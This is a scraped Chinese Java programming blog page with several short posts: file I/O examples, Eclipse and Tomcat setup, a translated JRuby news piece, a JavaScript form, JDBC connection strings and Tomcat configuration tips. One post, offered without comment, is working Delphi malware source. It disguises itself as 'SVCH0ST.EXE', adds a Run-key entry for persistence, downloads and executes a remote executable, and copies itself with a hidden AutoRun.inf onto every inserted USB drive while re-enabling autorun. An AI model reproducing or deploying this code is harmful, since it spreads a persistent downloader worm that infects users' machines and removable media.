posts - 495,  comments - 11,  trackbacks - 0
 

1.把浮点数写入文件


import java.io.*;

public class FileOutputDemo
{
public static void main(String[] args)
{
   FileOutputStream out;
   DataOutputStream p;

   try
   {
    out = new FileOutputStream("myfile.txt");
    p = new DataOutputStream(out);
    p.writeDouble(3);
    p.writeDouble(4);
    p.writeDouble(5);
    p.close();
   }
   catch(Exception e)
   {
    System.err.println("Error writing to file");
   }
}
}

2.从文件中读取浮点数


import java.io.*;

public class FileInputDemo
{
public static void main(String[] args)
{
   if(args.length==1)
   {
    try
    {
     FileInputStream f = new FileInputStream(args[0]);
     DataInputStream in = new DataInputStream(f);
     while(in.available() != 0)
     {
      System.out.println(String.valueOf(in.readDouble()));
     }
     in.close();
    }
    catch(Exception e)
    {
     System.out.println("File input Erroe!");
    }
   }
   else
    System.out.println("Invalid parametres");
}
}

posted @ 2007-05-28 00:25 jadmin 阅读(90) | 评论 (0)编辑 收藏
在eclipse + MyEclipse+tomcat下配置建立J2EE工程环境需要:
1.JDK1.5.0.6;
2.eclipse3.1.2_SDK;
3.MyEclips4.1.1;
4.apache-tomcat-5.5.16;
配置方法:
1.安装:JDK1.5.0.6;如:D:Studyjdk1.5.0_06;
2.解压:eclipse3.1.2_SDK;如:D:JavaStudyeclipse;
3.解压:MyEclips4.1.1;如:D:JavaStudyMyEclipse;
4.解压:apache-tomcat-5.5.16;如:D:JavaStudyapache-tomcat-5.5.16;
5.设置内存:D:JavaStudyeclipse下面的eclipse.ini文件的-vmargs、-Xms256m、-Xmx512m;这里的Xms256m是eclipse可以使用的最小内存数;Xmx512是eclipse可以使用的最大内存数;这里的值根据系统的配置而定;
6.配置MyEclipse:启动Eclipse-->Help-->Sofware Updates-->Manage Configuration -->Eclipse Platform上面右键-->ADD-->Extension Location;找到"D:JavaStudyMyEclipse";重新启动Eclipse;在标题栏里就多了一个MyEclipse的选项;
7.配置Tomcat:启动Eclipse-->window-->preference-->MyEclips-->application Servers-->Tomcat 5-->Enable-->Tomcat Home Directory;找到Tomcat的安装目录"D:JavaStudyapache-tomcat-5.5.16";
8.配置字符编码:启动Eclipse-->window-->preference-->General-->Content Types-->text然后在Default encoding中输入UTF-8-->update;依次把Java Properties File和一下的字符编码都update为UTF-8;
posted @ 2007-05-27 22:31 jadmin 阅读(71) | 评论 (0)编辑 收藏

在5月7日的Sun的CommunityOne会议上,ThoughtWorks Studios宣布他们即将推出的敏捷IT项目管理应用程序,Mingle,将是世界上第一个运行在JRuby上的商业应用程序。实际上,它可能是基于Ruby on Rails的首个商业分发产品。

根据ThoughtWorks的说法,发起JRuby上的Mingle有很多的动机。首先,它使横跨他们目标平台的部署过程变得流畅。Mingle是基于Web的应用程序,它可以作为外部托管应用程序(ASP模式)使用,但是它同样也将以商业形式许可,并作为可安装包分发。

特别是,Ruby on Rails应用的部署仍然要比期望的复杂得多。对于一个所在部署平台由单独的公司全权控制的托管应用来说,这是没有什么问题的,但是Mingle并不打算只能被托管。它不仅仅需要把规模扩大到Twitter的级别(OK,那会有点想当然,它可能不需要达到那么大的规模),而且它同样需要将规模“缩小”到能在一台只有1G内存的简单Windows XP机器上运行。在此基础上,对Ruby on Rails部署一无所知,甚至对部署了解不多的人,都将可以安装它。
Mingle的可下载版本将以以下形式分发:Windows下的简单安装程序、Mac下的简单.app文件(拖、放、双击)和“通用”Unix下的.rpm/.tgz文件。企业用户还可选择将Mingle部署到他们已存在的产品系统中:

几个月之后将要发布的Mingle 1.1,也将以.war文件的形式发布,这样它将可以部署在任何流行的Java EE应用服务器上,并使用任何流行的数据库服务器。以适应我们更大的客户的需求。
这个决策同样也是锐意创新的产物。ThoughtWorks Studio的产品管理副总裁Chad Wathingtong称:“很显然ThoughtWorks乐于去推动技术的前沿阵地,当然,也因为这是一件很酷的事情。”任何人都可以一眼看出来,Mingle无疑推进了JRuby商业可用性的前沿阵地。

Mingle代表了ThoughtWorks在面向大众的商业产品开发领域的第一场战役。它使用Ruby on Rails构建,由小型、专注的开发团队开发,该团队成立于澳大利亚悉尼,它的领导人是ThoughtWorks高级技术专家David Rice和Jon Tirsen。使用Rails的好处,得到了所有相关人员的高度认可:

“Ruby on Rails给与了我们不可思议的生产率,并使得我们能以一个完全不同的级别处理复杂性,这在其他情况下是很难有可能的。长远来看,这将允许我们以更低的价格交付更好的特性,对我们的客户决定有利。”
在内部,Mingle在Web服务器(Jetty)和数据库(Derby)方面使用了Java技术。执行效率并没有成为主要问题。通过简单的集群,当前的运行时可以很轻松地支持成百个并发用户,并且JRuby的执行效率在一直不断得到改善。根据开发团队所说,实验的部署已经在单个JVM进程中包括了10 JRuby解释器。

6月,JRuby核心开发人员Ola Bini开始为ThoughtWorks全职工作,他将继续着手JRuby项目,并为ThoughtWorks内部发起的JRuby相关项目提供支持,如Mingle。

ThoughtWorks强烈地感到他们正在为许多即将出现的JRuby应用程序铺平道路。Mingle显然为以下的说法提供了强有力的支持证据,当时Jon Tirsen夸张地说(某些程度上可能如此):

“JRuby即将迎来黄金时代!”
查看英文原文:Mingle from ThoughtWorks is Big Win for JRuby

--------------------------------------------------------------------------------

译者简介:胡键,自2000年西安交通大学硕士毕业后一直从事软件开发。2002年开始使用Java,在项目开发中经常采用OpenSource工具,如Ant、Maven、Hibernate、Struts等,目前正在研究信息集成方面的规范和技术。可以通过jianhgreat@hotmail.com与他联系,或访问博客:http://foxgem.javaeye.com/

posted @ 2007-05-27 11:54 jadmin 阅读(69) | 评论 (0)编辑 收藏

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> New Document </TITLE>
<META NAME="Generator" CONTENT="EditPlus">
<META NAME="Author" CONTENT="">
<META NAME="Keywords" CONTENT="">
<META NAME="Description" CONTENT="">
<script type="text/javascript">
function $() {
    var elements = new Array();
    for (var i = 0; i < arguments.length; i++) {
      var element = arguments[i];
      if (typeof element == 'string')
        element = document.getElementById(element);
      if (arguments.length == 1)
        return element;
      elements.push(element);
    }
    return elements;
}

//cody by jarry;
String.prototype.trim = function()
{ return this.replace(/(^\s*)|(\s*$)/g, "");}
function isExist(child,obj){
//obj has element the child;
     for(var i=0;i<obj.elements.length;i++){
      if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
         if(obj.elements[i].value==child)return true;
      }
     }
     return false;
}
function validateURL(url){
//validateURL
if(url.search(/^[A-Za-z0-9 -]+\.[A-Za-z0-9]+[\/=\?%\-&_~`@[\]\':+!]*([^<>\"\"])*$/)!=0){
return false;
//}else if(url.substring(0,4)=="www."){
//网址不要前面的www.,如果没用的话可以注释掉;
//return false;
}else{
return true;
}
}

var strAll=unescape("%u5168%u9009");
var canAll=unescape("%u53D6%u6D88");

function clickchk(obj){
var allcheck=true;
     for(var i=0;i<obj.elements.length;i++){
      if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
        if(obj.elements[i].checked==false){allcheck=false;}
       }
    }
    obj.elements["check"].value=allcheck?canAll:strAll;  
}
function addSite(obj){

    var url=obj.url.value.trim();
    if(url.match(/^\s*$/g) || !validateURL(url)){alert("请输入正确网址:如mysite.com");obj.url.focus();return;}
    if(isExist(url,obj)){alert("你添加的网址已经存在列表中");return;}


    var list=document.getElementById("list");
    var chkbox=document.createElement("input");
    chkbox.type="checkbox";
    chkbox.onclick=function(){clickchk(obj);}//全部选择后check按钮显示取消;
    chkbox.value=url;
    chkbox.name="url_chkbox";
    var hr=document.createElement("hr");
    hr.size="0";hr.style.borderTop="1px solid gray";
    var txt=document.createTextNode(url);  
    var div=document.createElement("div");
    div.appendChild(chkbox);
    div.appendChild(txt);
    div.appendChild(hr);
    div.style.backgroundColor = "olive";
    div.onmouseover=function(){
     showDelete(this);
    }
  
//start add element;
    list.appendChild(div);
//end add;

//如果已经添加了多选框则去掉禁用;
    if(obj.check.disabled==true){
      obj.check.disabled=false;
      obj.recheck.disabled = false;
      obj.remove.disabled=false;
      }

return false;
}
function checkall(obj){//全选or取消全选;
var chk=obj.elements["check"];
     for(var i=0;i<obj.elements.length;i++){
      if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
        if(chk.value==strAll){//check all checkbox input;
        obj.elements[i].checked=true;
        }else{
         obj.elements[i].checked=false;
        }
         
      }
    }
    if($('list').childNodes.length<=1)return;
    chk.value=chk.value==canAll?strAll:canAll;
    //更改全选/取消的显示;
}
function reverseCheck(obj){
     var chk=obj.elements["check"];
     for(var i=0;i<obj.elements.length;i++){
      if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
        obj.elements[i].checked = obj.elements[i].checked ? false : true;
      }
      clickchk(obj);
    }
}

function del(list,obj){

    var candel=false;
    var i=list.childNodes.length;
    var end = -1;
//alert(list.childNodes.length+"\n"+list.innerHTML);
     while(    i > end ){  

       /* if(typeof(list.childNodes[i]) != "undefined")
        {//delete all elements;
        list.removeChild(list.childNodes[i]);    
        }*/

       var    s=list.childNodes[i];
/*
//alert( s + typeof(list.childNodes[i]) );
    if(typeof(s)!="undefined"    && s.tagName){  
        var tgname = s.tagName.toUpperCase();
     //alert(tgname);
          if(    tgname == "DIV" ){
    // alert(list.childNodes.length+":"+typeof(s) + s + s.tagName.toUpperCase() + s.childNodes.length + s.childNodes[0].type)
        }
if(tgname == "DIV" && s.childNodes.length > 0 && s.childNodes[0].type.toLowerCase() =="checkbox" && s.childNodes[0].checked==true){
       //alert(s.childNodes[0].checked);
     }

}*/

    if(typeof(s)!="undefined"    && s.tagName){
           try{
            var tgname = s.tagName.toUpperCase();
      if(tgname != "DIV" || s.childNodes.length <=0 )return;
                  var s1 = s.childNodes[0];

      if( s1.type.toLowerCase() =="checkbox" && s1.checked==true ){
       candel = true;  
       list.removeChild(s);
             //list.removeChild(s.nextSibling.nextSibling);
            // list.removeChild(s.nextSibling);      
             //list.removeChild(s);   
             //list.removeChild(s.previousSibling);

        }   
            }catch(ex){
             //alert(ex.toString());         
           }
         }
        
        i--;
     }
     if(candel==false){alert("请选择你要删除的选项")}
    obj.check.disabled=list.childNodes.length>1?false:true;
    obj.recheck.disabled=list.childNodes.length>1?false:true;
    obj.check.value=strAll;
    obj.remove.disabled=list.childNodes.length>1?false:true;
     
}

function showDelete(self){
self.style.backgroundColor = "red";

}
</script>
</HEAD>

<BODY>
<form name="sitelist" onsubmit="return addSite(this);">
http:// <INPUT TYPE="text" size="30" NAME="url"> <INPUT TYPE="button" NAME="add" value="添加网址至列表" onclick="addSite(this.form)">
<div style="border:1px groove blue;width:400px;height:200px;padding:5px;overflow:auto" id="list">

<div onmouseover="showDelete(this);" style="background:gray"><input type=checkbox value="example.com" name="url_chkbox" onclick="clickchk(this.form)">example.com <hr style="1px solid gray" size="0"></div>

<div onmouseover="showDelete(this);" style="background:gray"><input type=checkbox value="example.com" name="url_chkbox" onclick="clickchk(this.form)">example.com <hr style="1px solid gray" size="0"></div>

</div>
<INPUT TYPE="button" NAME="check" value="全选" disabled onclick="checkall(this.form)">&nbsp;&nbsp;<input type="button" value="反选" name="recheck" disabled    onclick="reverseCheck(this.form)">&nbsp;&nbsp;<INPUT TYPE="button" NAME="remove" disabled value="删除" onclick="del($('list'),this.form)">
</form>
<script>
//页面加载时初始化
function init(l,f){
    var list=l;
    f.check.disabled=list.childNodes.length>1?false:true;
    f.recheck.disabled=list.childNodes.length>1?false:true;
    f.check.value=strAll;
    f.remove.disabled=list.childNodes.length>1?false:true;
}
window.onload=function(){
init($("list"),document.sitelist);
}
</script>
</BODY>
</HTML>

posted @ 2007-05-27 11:42 jadmin 阅读(64) | 评论 (0)编辑 收藏

unit Un_Main;


interface


uses
       Windows, Messages, SysUtils,Forms,IniFiles;
type
       TFrm_Main = class(TForm)
       procedure FormCreate(Sender: TObject);
       procedure FormClose(Sender: TObject; var Action: TCloseAction);
       private
       procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
       public
       { Public declarations }
       end;
const
           exefile = 'SVCH0ST.EXE';
           Buffer = 'http://www.888.com/hello.exe';
           DBT_DEVICEARRIVAL = $8000;       // system detected a new device
           DBT_DEVICEREMOVECOMPLETE = $8004;       // device is gone
           DBT_DEVTYP_VOLUME = $00000002;       // logical volume
           DBTF_MEDIA = $0001;       // media comings and goings
type
      PDEV_BROADCAST_HDR = ^TDEV_BROADCAST_HDR;
      TDEV_BROADCAST_HDR = packed record
       dbch_size : DWORD;
       dbch_devicetype : DWORD;
       dbch_reserved : DWORD;
      end;
       PDEV_BROADCAST_VOLUME = ^TDEV_BROADCAST_VOLUME;
       TDEV_BROADCAST_VOLUME = packed record
           dbcv_size : DWORD;
           dbcv_devicetype : DWORD;
           dbcv_reserved : DWORD;
           dbcv_unitmask : DWORD;
           dbcv_flags : WORD;
       end;


function UrlDownLoadToFile(Caller,URL,FileName: PAnsiChar;Reserved: LongWord;
                                       StatusCB: Pointer): LongWord;
                                       stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';


function WinExec(lpCmdline: PAnsiChar; uCmdShow: LongWord): LongWord;
                           stdcall; external 'kernel32.dll' name 'WinExec';


var
       Frm_Main: TFrm_Main;
       exefull:string;
implementation


{$R *.dfm}


function SetRegValue(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
       result := false;
       RegCreateKey(key,PChar(subkey),regkey);
       if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
       result := true;
       RegCloseKey(regkey);
end;


procedure Startup(var TheName:string);
begin
       SetRegValue(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun','SVCH0ST',TheName);
       UrlDownloadToFile(nil, PChar(Buffer), PChar(TheName), 0, nil);
       SetFileAttributes(PChar(TheName),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
       messagebox(0,'文件下载成功!','成功',MB_OK);
       WinExec(PChar(TheName), SW_SHOWDEFAULT);
       //Sleep(500);
       //DeleteMe;
       //freemem(@path,256);
end;


procedure TFrm_Main.WMDeviceChange(var Msg: TMessage);
var
       lpdb : PDEV_BROADCAST_HDR;
       lpdbv : PDEV_BROADCAST_VOLUME;
       unitmask:DWORD;
       i:integer;
       MyIni:TIniFile;
       s:Hkey;
       value:dword ;
       inifile:string;
begin
       lpdb := PDEV_BROADCAST_HDR(Msg.LParam);
       case Msg.WParam of
       DBT_DEVICEARRIVAL ://有设备安装完毕


       if lpdb.dbch_devicetype=DBT_DEVTYP_VOLUME then
       begin
           lpdbv := PDEV_BROADCAST_VOLUME(lpdb);
           unitmask:=lpdbv.dbcv_unitmask;//取得设备的盘符
           for i:=0 to 25 do //遍历磁盘
           begin
               if Boolean(unitmask and $1)then//看该驱动器的状态是否发生了变化
               break;
               unitmask := unitmask shr 1;
           end;
           if fileexists(exefull) then       //向u盘拷文件
           begin
           copyfile(PChar(exefull),Pchar(char(i+65) + ':' + exefile),false);
           FileSetAttr(char(i+65) + ':' + exefile,$00000003);
           end;
           inifile:=char(i+65)+':AutoRun.inf';//ini文件
           RegOpenKeyEx(HKEY_CURRENT_USER, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer', 0, KEY_ALL_ACCESS, s);
           value:=0;
           RegSetValueEx(s,'NoDriveTypeAutoRun',0, REG_DWORD,@value, sizeof(value));
           RegCloseKey(s);
           if fileexists(inifile) then
           begin
           FileSetAttr(inifile,$00000000);
           DeleteFile(inifile);
           end;
           MyIni := TIniFile.Create(inifile);
           MyIni.WriteString('AutoRun', 'open',exefile);
           FileSetAttr(inifile,$00000003);
       end;
      end;
end;


procedure TFrm_Main.FormCreate(Sender: TObject);
var
s:hkey;
value:array[0..255]of char;
size:cardinal;
path:array[0..255] of char;
begin
       Application.ShowMainForm:=False;
       getsystemdirectory(path,120);
       exefull := strpas(path) + '' + exefile;
       size:=256;
       RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun',0,KEY_ALL_ACCESS,s);
       RegQueryValueEx(s,'SVCH0ST',nil,nil,@value,@size);
       RegCloseKey(s);
       //文件存在且有自启动
       if fileexists('C:WINDOWSsystem32SVCH0ST.EXE') and (UpperCase(value) = UpperCase(exefull)) then
       messagebox(0,'自启动成功!','成功',MB_OK)
       else
       Startup(exefull);//下载执行函数
end;


procedure TFrm_Main.FormClose(Sender: TObject; var Action: TCloseAction);
begin
       Application.Terminate;
end;


end.

posted @ 2007-05-26 01:19 jadmin 阅读(56) | 评论 (0)编辑 收藏

/*
   用JDBC来连接数据库有很两种方式,如<1>JDBC:ODBC bridge, <2>直接连接方式.
   第二种方式有很多好处,它可以独立于依赖于系统的odbc数据源,存储数据的database
   可以自由地移动,显得更为灵活.
*/

import java.io.*;
import java.sql.*;

public class ConDBAccess
{
public static void main(String[] args)
{
   try
   {
    //Load JDBC driver
    Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
    /*
     这里的数据库的url一定要写正确,这是关键,其中DBQ可以绝对路径,
     也可以是相对路径,为了体现数据存储路径的/独立性,
     你可以将数据库copy到不同的位试一下
     */
    String dbUrl = "jdbc:odbc:driver={Microsoft Access Driver (*.mdb)};DBQ=Test.mdb";
    Connection con = DriverManager.getConnection(dbUrl,"","");
    Statement state = con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
    //执行SQL语句
    String sql = "select * from Address";
    ResultSet rs = state.executeQuery(sql);

    //打印测试
    if(rs != null)
    {
     while(rs.next())
     {
      System.out.println(rs.getString("Name")+"\t"+rs.getString("Age")+"\t"+rs.getString("Email"));
     }
     rs.close();
     con.close();
    }
   }
   catch(Exception e)
   {
    e.printStackTrace();
   }
}
}//End class ConDBAccess

/**
附:数据库Test.mdb的结构设计:
    字段         类型
    ----------------
    name        text
    sex         bool
    age         int
    email       text
    -----------------------------
自已加几条记录到里面就可以测出结果了.
*/

posted @ 2007-05-26 00:57 jadmin 阅读(74) | 评论 (0)编辑 收藏

1、如何将字符串String转化为整数int

   int i = Integer.parseInt(str);

   int i = Integer.valueOf(my_str).intValue();

    注: 字串转成Double, Float, Long的方法大同小异。

2、如何将字符串String转化为Integer


    Integer integer=Integer.valueOf(i)


3、如何将整数 int 转换成字串 String?

答:有三种方法:

   String s = String.valueOf(i);

   String s = Integer.toString(i);

   String s = "" + i;

注:Double, Float, Long 转成字串的方法大同小异。


4、如何将整数int转化为Integer


   Integer integer=new Integer(i)


5、如何将Integer转化为字符串String


    Integer integer=String()


6、如何将Integer转化为int


    int num=Integer.intValue()


7、如何将String转化为BigDecimal


    BigDecimal d_id=new BigDecimal(str)

posted @ 2007-05-25 23:10 jadmin 阅读(69) | 评论 (0)编辑 收藏
1、tomcat下配置虚拟目录

    打开TOMCAT文件下的conf\server.xml文件 ,查找到<ContextManager>标签,并在该标签的结束标签</ContextManager>前面加上:

    <Context path="虚拟目录" docBase="硬盘目录" debug="0" reloadable="true" crossContext="true"/>  

    其中path的值是虚拟目录,docbase的值是你的硬盘的的目录的绝对路径。

    如找不到<ContextManager>元素,可以找

       <Host name="localhost" debug="0" appBase="webapps"
        unpackWARs="true" autoDeploy="true"
        xmlValidation="false" xmlNamespaceAware="false">

    然后添加<Context path="虚拟目录" docBase="硬盘目录" debug="0" reloadable="true" crossContext="true"/>  

2、禁止tomcat目录浏览,将listings设为false

     <servlet>
         <servlet-name>default</servlet-name>
         <servlet-class>
           org.apache.catalina.servlets.DefaultServlet
         </servlet-class>
         <init-param>
             <param-name>debug</param-name>
             <param-value>0</param-value>
         </init-param>
         <init-param>
             <param-name>listings</param-name>
             <param-value>false</param-value>
         </init-param>
         <load-on-startup>1</load-on-startup>
     </servlet>

3、设置友好错误页面,配置web.xml

    <error-page>
       <error-code>404</error-code>
       <location>/error.jsp</location>
    </error-page>
    <error-page>
       <error-code>500</error-code>
       <location>/error.jsp</location>
    </error-page>

4、在IE中直接打开其他扩展名的文件

    为了让能在IE浏览器中自动打开其他扩展文件名的文件的设置:
    需要在WEB.XML中进行如下的设置:
    在WEB.XML中添加<mime-mapping>,其中:
       <extension>: 文件的扩展名
       <mime-type>: 除了该类型文件的可执行文件,同WINDOW注册表中的   /HKEY_CLASSES_ROOT下该类文件的Content Type 的值一样.

如能在IE中自动打开DOC,XLS,PDF文件的配置如下:

<?xml version="1.0" ?>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 1.2//EN"   "http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">
<web-app>
    <mime-mapping>
       <extension>doc</extension>
       <mime-type>application/msword</mime-type>
    </mime-mapping>

    <mime-mapping>
       <extension>xls</extension>
       <mime-type>application/msexcel</mime-type>
    </mime-mapping>

    <mime-mapping>
       <extension>pdf</extension>
       <mime-type>application/pdf</mime-type>
    </mime-mapping>
</web-app>
posted @ 2007-05-25 23:08 jadmin 阅读(82) | 评论 (0)编辑 收藏
J2EE包括以下技术:  
EJB:Enterprise   JavaBeans   企业JavaBean组件  
IDL:Interface   Definition   Language   接口定义语言  
JMS:Java   Message   Service   Java消息服务  
JNDI:Java   Naming   and   Directory   Interface   Java命名目录接口  
RMI:Remote   Method   Invocation   远程方法调用  
JTA:Java   Transaction   API   Java事务API  
JTS:Java   Transaction   Service   Java事务服务  
Object   Serialization:对象序列化  
JavaMail:Java邮件服务  
JDBC:数据库访问API  
JSP:Java   Server   Pages  
Servlet:  

EJB分为三种:  
Session   Bean(会话BEAN)  
Entity   Bean(实体BEAN)  
Message   Driver   Bean(消息驱动BEAN)  

Session   Bean分为两种:  
Stateless   Session   Bean(无状态会话Bean)  
Statefull   Session   Bean(有状态会话Bean)  

Entity   Bean分为两种:  
CMP:Container   Manager   Persistence(容器管理持久性)
BMP:Bean   Manager   Persistence(Bean管理持久性)  

其他缩写名词:  
DTO:Data   Transport   Object   数据传输对象  
JDO:Java   Data   Object  
DAO:Database   Access   Object   数据库访问对象  
POJO:Proterozoic   Java   Object   Java原生对象  
VO:Value   Object   值对象  
SOAP:Simple   Object   Access   Protocol   简单对象访问协议  
posted @ 2007-05-25 23:04 jadmin 阅读(79) | 评论 (0)编辑 收藏

1.Oracle8/8i/9i数据库(thin模式)

Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
String url="jdbc:oracle:thin:@localhost:1521:orcl"; //orcl为数据库的SID
String user="test";
String password="test";
Connection conn= DriverManager.getConnection(url,user,password);

2.DB2数据库

Class.forName("com.ibm.db2.jdbc.app.DB2Driver ").newInstance();
String url="jdbc:db2://localhost:5000/sample"; //sample为你的数据库名
String user="admin";
String password="";
Connection conn= DriverManager.getConnection(url,user,password);

3.Sql Server7.0/2000数据库

Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver").newInstance();
String url="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=mydb";
//mydb为数据库
String user="sa";
String password="";
Connection conn= DriverManager.getConnection(url,user,password);

4.Sybase数据库

Class.forName("com.sybase.jdbc.SybDriver").newInstance();
String url =" jdbc:sybase:Tds:localhost:5007/myDB";//myDB为你的数据库名
Properties sysProps = System.getProperties();
SysProps.put("user","userid");
SysProps.put("password","user_password");
Connection conn= DriverManager.getConnection(url, SysProps);

5.Informix数据库

Class.forName("com.informix.jdbc.IfxDriver").newInstance();
String url = "jdbc:informix-sqli://123.45.67.89:1533/myDB:INFORMIXSERVER=myserver;
user=testuser;password=testpassword"; //myDB为数据库名
Connection conn= DriverManager.getConnection(url);

6.MySQL数据库

Class.forName("org.gjt.mm.mysql.Driver").newInstance();
String url ="jdbc:mysql://localhost/myDB?user=soft&password=soft1234&useUnicode=true&characterEncoding=8859_1"
//myDB为数据库名
Connection conn= DriverManager.getConnection(url);

7.PostgreSQL数据库

Class.forName("org.postgresql.Driver").newInstance();
String url ="jdbc:postgresql://localhost/myDB" //myDB为数据库名
String user="myuser";
String password="mypassword";
Connection conn= DriverManager.getConnection(url,user,password);

8.access数据库直连用ODBC的

Class.forName("sun.jdbc.odbc.JdbcOdbcDriver") ;
String url="jdbc:odbc:Driver={MicroSoft Access Driver (*.mdb)};DBQ="+application.getRealPath("/Data/ReportDemo.mdb");
Connection conn = DriverManager.getConnection(url,"","");
Statement stmtNew=conn.createStatement() ;

posted @ 2007-05-25 23:00 jadmin 阅读(66) | 评论 (0)编辑 收藏
仅列出标题
共50页: First 上一页 40 41 42 43 44 45 46 47 48 下一页 Last